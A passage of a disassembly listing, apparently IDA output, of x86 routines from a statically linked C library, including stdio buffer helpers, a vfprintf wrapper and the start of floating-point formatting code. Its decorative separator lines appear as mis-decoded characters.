edx mov eax, edx sub eax, ecx and eax, 3 cmp ecx, edx jle short loc_8052D4A test eax, eax jz short loc_8052D58 cmp eax, 3 jge short loc_8052D4A cmp eax, 2 jge short loc_8052D44 mov al, [ecx] mov [esi], al dec ecx dec esi loc_8052D44: ; CODE XREF: sub_8052C9C+A0j mov al, [ecx] mov [esi], al dec ecx dec esi loc_8052D4A: ; CODE XREF: sub_8052C9C+92j ; sub_8052C9C+9Bj mov al, [ecx] mov [esi], al dec ecx dec esi cmp [ebp+var_8], ecx ja short loc_8052D85 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8052D58: ; CODE XREF: sub_8052C9C+96j ; sub_8052C9C+DBj mov al, [ecx] mov [esi], al mov al, [ecx-1] mov [esi-1], al mov al, [ecx-2] mov [esi-2], al mov al, [ecx-3] mov [esi-3], al add ecx, 0FFFFFFFCh add esi, 0FFFFFFFCh cmp [ebp+var_8], ecx jbe short loc_8052D58 jmp short loc_8052D85 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052D7C: ; CODE XREF: sub_8052C9C+59j ; sub_8052C9C+7Bj ... cmp [ebp+var_8], ecx jbe loc_8052CEC loc_8052D85: ; CODE XREF: sub_8052C9C+12j ; sub_8052C9C+49j ... mov eax, esi lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8052C9C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8052D94 proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebx+54h] mov edx, [ebx+14h] sub edx, [ebx+10h] jz short loc_8052DBB mov eax, [esi+50h] push edx mov edx, [ebx+10h] push edx push esi mov eax, [eax+34h] call eax sub [ebx+14h], eax add esp, 0Ch loc_8052DBB: ; CODE XREF: sub_8052D94+11j mov edx, [ebx+14h] cmp [ebx+18h], edx jbe short loc_8052DD4 mov al, [ebp+arg_4] mov [edx], al and eax, 0FFh inc dword ptr [ebx+14h] jmp short loc_8052DDF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052DD4: ; CODE XREF: sub_8052D94+2Dj movzx eax, [ebp+arg_4] push eax push ebx call sub_8061910 loc_8052DDF: ; CODE XREF: sub_8052D94+3Cj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8052D94 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8052DE8 proc near ; CODE XREF: vfprintf+4Fp var_464 = byte ptr -464h var_458 = dword ptr -458h var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 458h push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edx, [ebp+arg_8] lea ecx, [ebp+var_458] mov [ebp+var_404], esi lea eax, [ebp+var_400] mov [ebp+var_448], eax mov [ebp+var_444], eax mov [ebp+var_440], ebp mov [ebp+var_458], 0FBAD0004h mov [ebp+var_408], (offset aN6+2) push edx push ebx push ecx call vfprintf mov edi, eax mov ebx, [ebp+var_444] sub ebx, [ebp+var_448] add esp, 0Ch test ebx, ebx jle short loc_8052E70 mov eax, [esi+50h] push ebx mov edx, [ebp+var_448] push edx push esi mov eax, [eax+34h] call eax cmp eax, ebx jz short loc_8052E70 mov eax, 0FFFFFFFFh jmp short loc_8052E72 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052E70: ; CODE XREF: sub_8052DE8+68j ; sub_8052DE8+7Dj mov eax, edi loc_8052E72: ; CODE XREF: sub_8052DE8+84j lea esp, [ebp+var_464] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8052DE8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8052E80 proc near ; CODE XREF: sub_804F820+26p ; sub_8052F34+12p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_8052EA8 xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea ebx, [eax-1] jmp short loc_8052ED3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052EA8: ; CODE XREF: sub_8052E80+11j test ebx, ebx jge short loc_8052ED3 mov edx, 400h lea eax, [esi+400h] cmp eax, esi jbe short loc_8052ED1 nop loc_8052EBC: ; CODE XREF: sub_8052E80+4Fj cmp edx, 3FFFFFFh jg short loc_8052ED1 add edx, edx test edx, edx jle short loc_8052ED1 lea eax, [edx+esi] cmp eax, esi ja short loc_8052EBC loc_8052ED1: ; CODE XREF: sub_8052E80+39j ; sub_8052E80+42j ... mov ebx, edx loc_8052ED3: ; CODE XREF: sub_8052E80+26j ; sub_8052E80+2Aj push 0 lea ecx, [ebx+esi] mov [ebp+var_4], ecx push ecx push esi mov edi, [ebp+arg_0] push edi call sub_8061B6C mov [edi+10h], esi mov [edi+0Ch], esi mov [edi+4], esi cmp [ebp+arg_C], 0 jz short loc_8052F0C mov ecx, [ebp+arg_C] mov [edi+14h], ecx mov ecx, [ebp+var_4] mov [edi+18h], ecx mov ecx, [ebp+arg_C] mov [edi+8], ecx jmp short loc_8052F1A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052F0C: ; CODE XREF: sub_8052E80+73j mov edi, [ebp+arg_0] mov [edi+14h], esi mov [edi+18h], esi add esi, ebx mov [edi+8], esi loc_8052F1A: ; CODE XREF: sub_8052E80+87j mov ecx, [ebp+arg_0] mov [ecx+54h], ebx mov dword ptr [ecx+58h], 0 lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8052E80 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8052F34 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] push 0 push eax push edx push ebx call sub_8052E80 or byte ptr [ebx], 8 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8052F34 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8052F58 proc near var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov ebx, [ebp+arg_0] cmp [ebp+arg_4], 0FFFFFFFFh setz al and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebx+14h] sub ecx, [ebx+10h] mov [ebp+var_8], ecx mov ecx, [ebx+4] sub ecx, [ebx+0Ch] mov [ebp+var_C], ecx test byte ptr [ebx], 8 jz short loc_8052FA0 xor eax, eax cmp [ebp+var_4], 0 jnz loc_805306C loc_8052F96: ; CODE XREF: sub_8052F58+84j ; sub_8052F58+9Bj mov eax, 0FFFFFFFFh jmp loc_805306C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052FA0: ; CODE XREF: sub_8052F58+30j mov ecx, [ebp+var_8] cmp [ebx+54h], ecx jnb short loc_8052FAB mov [ebx+54h], ecx loc_8052FAB: ; CODE XREF: sub_8052F58+4Ej mov eax, [ebx] and eax, 0C00h cmp eax, 400h jnz short loc_8052FCB mov ecx, [ebp+var_C] mov [ebp+var_8], ecx or dword ptr [ebx], 800h mov ecx, [ebx+54h] mov [ebp+var_C], ecx loc_8052FCB: ; CODE XREF: sub_8052F58+5Fj mov eax, [ebx+20h] sub eax, [ebx+1Ch] add eax, [ebp+var_4] cmp [ebp+var_8], eax jb short loc_8053037 test byte ptr [ebx], 1 jnz short loc_8052F96 mov edi, [ebx+20h] sub edi, [ebx+1Ch] add edi, edi push edi mov eax, [ebx+58h] call eax mov esi, eax add esp, 4 test esi, esi jz short loc_8052F96 mov edx, [ebx+1Ch] mov eax, [ebx+20h] sub eax, edx push eax push edx push esi call memcpy add esp, 0Ch cmp dword ptr [ebx+1Ch], 0 jz short loc_8053021 mov eax, [ebx+1Ch] push eax mov eax, [ebx+5Ch] call eax mov dword ptr [ebx+1Ch], 0 add esp, 4 loc_8053021: ; CODE XREF: sub_8052F58+B4j push 1 lea eax, [edi+esi] push eax push esi push ebx call sub_8061B6C mov [ebx+10h], esi mov eax, [ebx+20h] mov [ebx+18h], eax loc_8053037: ; CODE XREF: sub_8052F58+7Fj mov ecx, [ebp+var_8] add ecx, [ebx+1Ch] mov [ebx+14h], ecx mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov ecx, [ebp+var_C] add ecx, [ebx+1Ch] mov [ebx+4], ecx mov ecx, [ebx+1Ch] add ecx, [ebx+54h] mov [ebx+8], ecx cmp [ebp+var_4], 0 jnz short loc_8053069 mov eax, [ebx+14h] mov cl, byte ptr [ebp+arg_4] mov [eax], cl inc dword ptr [ebx+14h] loc_8053069: ; CODE XREF: sub_8052F58+104j mov eax, [ebp+arg_4] loc_805306C: ; CODE XREF: sub_8052F58+38j ; sub_8052F58+43j lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8052F58 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8053078 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [edx+14h] sub eax, [edx+10h] cmp [edx+54h], eax jnb short loc_805308C mov [edx+54h], eax loc_805308C: ; CODE XREF: sub_8053078+Fj mov eax, [edx] and eax, 0C00h cmp eax, 0C00h jnz short loc_80530A6 and dword ptr [edx], 0FFFFF7FFh mov eax, [edx+18h] mov [edx+14h], eax loc_80530A6: ; CODE XREF: sub_8053078+20j mov ecx, [edx+0Ch] add ecx, [edx+54h] mov [edx+8], ecx mov eax, [edx+4] cmp eax, ecx jb short loc_80530C0 mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80530C0: ; CODE XREF: sub_8053078+3Cj mov eax, [edx+4] movzx eax, byte ptr [eax] mov esp, ebp pop ebp retn sub_8053078 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80530CC proc near ; CODE XREF: sub_80530E4+10p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [edx+14h] sub eax, [edx+10h] cmp [edx+54h], eax jbe short loc_80530E0 mov eax, [edx+54h] loc_80530E0: ; CODE XREF: sub_80530CC+Fj mov esp, ebp pop ebp retn sub_80530CC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80530E4 proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] push esi call sub_80530CC mov edx, eax mov eax, 0FFFFFFFFh mov ecx, [ebp+arg_C] test cl, 1 jz short loc_805313A cmp edi, 1 jz short loc_8053118 cmp edi, 2 jnz short loc_8053120 add ebx, edx jmp short loc_8053120 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053118: ; CODE XREF: sub_80530E4+27j mov eax, [esi+4] sub eax, [esi+0Ch] add ebx, eax loc_8053120: ; CODE XREF: sub_80530E4+2Cj ; sub_80530E4+30j test ebx, ebx jl short loc_8053160 cmp ebx, edx ja short loc_8053160 mov ecx, [esi+0Ch] add ecx, ebx mov [esi+4], ecx mov ecx, [esi+0Ch] add ecx, edx mov [esi+8], ecx mov eax, ebx loc_805313A: ; CODE XREF: sub_80530E4+22j mov ecx, [ebp+arg_C] test cl, 2 jz short loc_8053175 cmp edi, 1 jz short loc_8053150 cmp edi, 2 jnz short loc_8053158 add ebx, edx jmp short loc_8053158 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053150: ; CODE XREF: sub_80530E4+61j mov eax, [esi+14h] sub eax, [esi+10h] add ebx, eax loc_8053158: ; CODE XREF: sub_80530E4+66j ; sub_80530E4+6Aj test ebx, ebx jl short loc_8053160 cmp ebx, edx jbe short loc_8053168 loc_8053160: ; CODE XREF: sub_80530E4+3Ej ; sub_80530E4+42j ... mov eax, 0FFFFFFFFh jmp short loc_8053175 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053168: ; CODE XREF: sub_80530E4+7Aj mov [esi+54h], edx mov ecx, [esi+10h] add ecx, ebx mov [esi+14h], ecx mov eax, ebx loc_8053175: ; CODE XREF: sub_80530E4+5Cj ; sub_80530E4+81j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80530E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8053180 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] test byte ptr [edx], 8 jz short loc_805319C cmp eax, 0FFFFFFFFh jz short loc_805319C mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805319C: ; CODE XREF: sub_8053180+Cj ; sub_8053180+11j push eax push edx call sub_80623B8 mov esp, ebp pop ebp retn sub_8053180 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80531A8 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+1Ch], 0 jz short loc_80531C6 test byte ptr [ebx], 1 jnz short loc_80531C6 mov eax, [ebx+1Ch] push eax mov eax, [ebx+5Ch] call eax add esp, 4 loc_80531C6: ; CODE XREF: sub_80531A8+Bj ; sub_80531A8+10j mov dword ptr [ebx+1Ch], 0 push ebx call sub_8061FC0 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80531A8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80531DC proc near ; CODE XREF: sub_8053310+12A2p ; sub_8053310+12AFp ... var_C = byte ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push esi push ebx mov [ebp+var_4], ecx mov ebx, [ebp+var_4] cmp dword ptr [ebx-10h], 0 jz short loc_8053208 cmp dword ptr [ebx-14h], 66h jnz short loc_8053208 mov eax, [ebx-18h] dec dword ptr [ebx-18h] test eax, eax jle short loc_8053208 xor esi, esi jmp loc_80532FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053208: ; CODE XREF: sub_80531DC+12j ; sub_80531DC+18j ... cmp dword ptr [ebx-1Ch], 0 jnz short loc_8053238 mov eax, [ebx-24h] mov edx, [ebx-20h] mov esi, [edx+eax*4-4] push 0Ah dec eax push eax push edx push edx call sub_8058DE0 mov ecx, eax mov [ebx-28h], ecx mov edx, [ebx-24h] mov eax, [ebx-20h] mov [eax+edx*4-4], ecx jmp loc_80532FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053238: ; CODE XREF: sub_80531DC+30j mov eax, [ebx-24h] cmp [ebx-1Ch], eax jle short loc_8053250 xor esi, esi jmp loc_80532D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053248: ; CODE XREF: sub_80531DC+CDj ; sub_80531DC+D4j ... lea eax, [edx+1] jmp short loc_80532C6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053250: ; CODE XREF: sub_80531DC+62j mov eax, [ebx-1Ch] push eax mov eax, [ebx-2Ch] push eax mov eax, [ebx-24h] push eax mov eax, [ebx-20h] push eax mov eax, [ebx-30h] push eax call sub_8058094 mov esi, eax mov edx, [ebx-24h] sub edx, [ebx-1Ch] mov eax, [ebx-30h] mov [eax+edx*4], esi mov eax, [ebx-30h] mov esi, [eax] mov ecx, [ebx-20h] mov edx, [ebx-1Ch] add esp, 14h test edx, edx jz short loc_80532C4 mov eax, edx neg eax and eax, 3 test edx, edx jle short loc_80532B9 test eax, eax jz short loc_80532A4 cmp eax, 3 jge short loc_80532B9 cmp eax, 2 jge short loc_80532B2 jmp short loc_80532AB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80532A4: ; CODE XREF: sub_80531DC+BAj ; sub_80531DC+E6j dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 loc_80532AB: ; CODE XREF: sub_80531DC+C6j dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 loc_80532B2: ; CODE XREF: sub_80531DC+C4j dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 loc_80532B9: ; CODE XREF: sub_80531DC+B6j ; sub_80531DC+BFj dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 test edx, edx jnz short loc_80532A4 loc_80532C4: ; CODE XREF: sub_80531DC+ABj xor eax, eax loc_80532C6: ; CODE XREF: sub_80531DC+6Fj mov [ebx-24h], eax test eax, eax jnz short loc_80532D8 mov dword ptr [ebx-24h], 1 jmp short loc_80532FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80532D8: ; CODE XREF: sub_80531DC+66j ; sub_80531DC+EFj push 0Ah mov eax, [ebx-24h] push eax mov eax, [ebx-20h] push eax push eax call sub_8058DE0 mov ecx, eax mov [ebx-28h], ecx test ecx, ecx jz short loc_80532FD mov edx, [ebx-24h] mov eax, [ebx-20h] mov [eax+edx*4], ecx inc dword ptr [ebx-24h] loc_80532FD: ; CODE XREF: sub_80531DC+26j ; sub_80531DC+56j ... mov eax, esi add al, 30h and eax, 0FFh lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_80531DC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8053310 proc near ; DATA XREF: vfprintf+1176o ; vfprintf+2BF8o var_164 = byte ptr -164h var_162 = byte ptr -162h var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 158h push edi push esi push ebx mov ebx, [ebp+arg_8] mov [ebp+var_54], 0 mov [ebp+var_10], 0 mov [ebp+var_3C], 0 mov [ebp+var_5C], 0 mov eax, dword_8078890 mov eax, [eax+0Ch] mov [ebp+var_A0], eax mov edi, [ebp+var_A0] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov esi, ecx not esi mov eax, esi dec eax push eax mov edx, [ebp+var_A0] push edx lea ecx, [ebp+var_34] push ecx call sub_805602C mov esi, eax add esp, 0Ch test esi, esi jg short loc_8053388 mov eax, dword_8078890 mov eax, [eax+0Ch] movzx eax, byte ptr [eax] mov [ebp+var_34], eax loc_8053388: ; CODE XREF: sub_8053310+68j mov eax, [ebp+arg_4] cmp dword ptr [eax+28h], 0 jz short loc_80533E6 mov edx, dword_8078890 mov edx, [edx+14h] mov [ebp+var_50], edx cmp byte ptr [edx], 0 jz short loc_80533E6 cmp byte ptr [edx], 0FFh jz short loc_80533E6 mov eax, dword_8078890 mov edx, [eax+10h] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push edx lea eax, [ebp+var_38] push eax call sub_805602C add esp, 0Ch test eax, eax jg short loc_80533E0 mov eax, dword_8078890 mov eax, [eax+10h] movzx eax, byte ptr [eax] mov [ebp+var_38], eax loc_80533E0: ; CODE XREF: sub_8053310+C0j cmp [ebp+var_38], 0 jnz short loc_80533ED loc_80533E6: ; CODE XREF: sub_8053310+7Fj ; sub_8053310+90j ... mov [ebp+var_50], 0 loc_80533ED: ; CODE XREF: sub_8053310+D4j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+0Ch], 0 jz loc_8053494 mov eax, [ebx] mov edx, [eax] mov ecx, [eax+4] mov dword ptr [ebp+var_C], edx mov dword ptr [ebp+var_C+4], ecx mov edx, [eax+8] mov [ebp+var_4], edx mov eax, [ebp+var_4] mov edx, dword ptr [ebp+var_C+4] push eax push edx mov eax, dword ptr [ebp+var_C] push eax call sub_8057F0C add esp, 0Ch test eax, eax jnz loc_80534B5 mov eax, [ebp+var_4] mov edx, dword ptr [ebp+var_C+4] push eax push edx mov eax, dword ptr [ebp+var_C] push eax call sub_8057E98 add esp, 0Ch test eax, eax jz short loc_8053460 mov [ebp+var_54], offset unk_8067F88 fldz fld tbyte ptr [ebp+var_C] fcompp st(1), st fnstsw ax and ah, 45h cmp ah, 1 setz al jmp loc_80534F0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053460: ; CODE XREF: sub_8053310+12Fj mov eax, [ebp+var_4] mov edx, dword ptr [ebp+var_C+4] push eax push edx mov eax, dword ptr [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_18] push eax push 2 lea eax, [ebp+var_44] push eax call sub_8058634 mov [ebp+var_24], eax shl eax, 5 add eax, 0FFFFFFC1h mov [ebp+var_58], eax add esp, 1Ch jmp loc_8053526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053494: ; CODE XREF: sub_8053310+E4j mov eax, [ebx] mov edx, [eax] mov ecx, [eax+4] mov dword ptr [ebp+var_C], edx mov dword ptr [ebp+var_C+4], ecx mov eax, dword ptr [ebp+var_C+4] mov edx, dword ptr [ebp+var_C] push eax push edx call sub_8057ED8 add esp, 8 test eax, eax jz short loc_80534C8 loc_80534B5: ; CODE XREF: sub_8053310+113j mov [ebp+var_54], offset unk_8067F84 mov [ebp+var_3C], 0 jmp short loc_8053526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80534C8: ; CODE XREF: sub_8053310+1A3j mov eax, dword ptr [ebp+var_C+4] mov edx, dword ptr [ebp+var_C] push eax push edx call sub_8057E64 add esp, 8 test eax, eax jz short loc_80534FC mov [ebp+var_54], offset unk_8067F88 fldz fcomp [ebp+var_C] fnstsw ax and ah, 45h setz al loc_80534F0: ; CODE XREF: sub_8053310+14Aj and eax, 0FFh mov [ebp+var_3C], 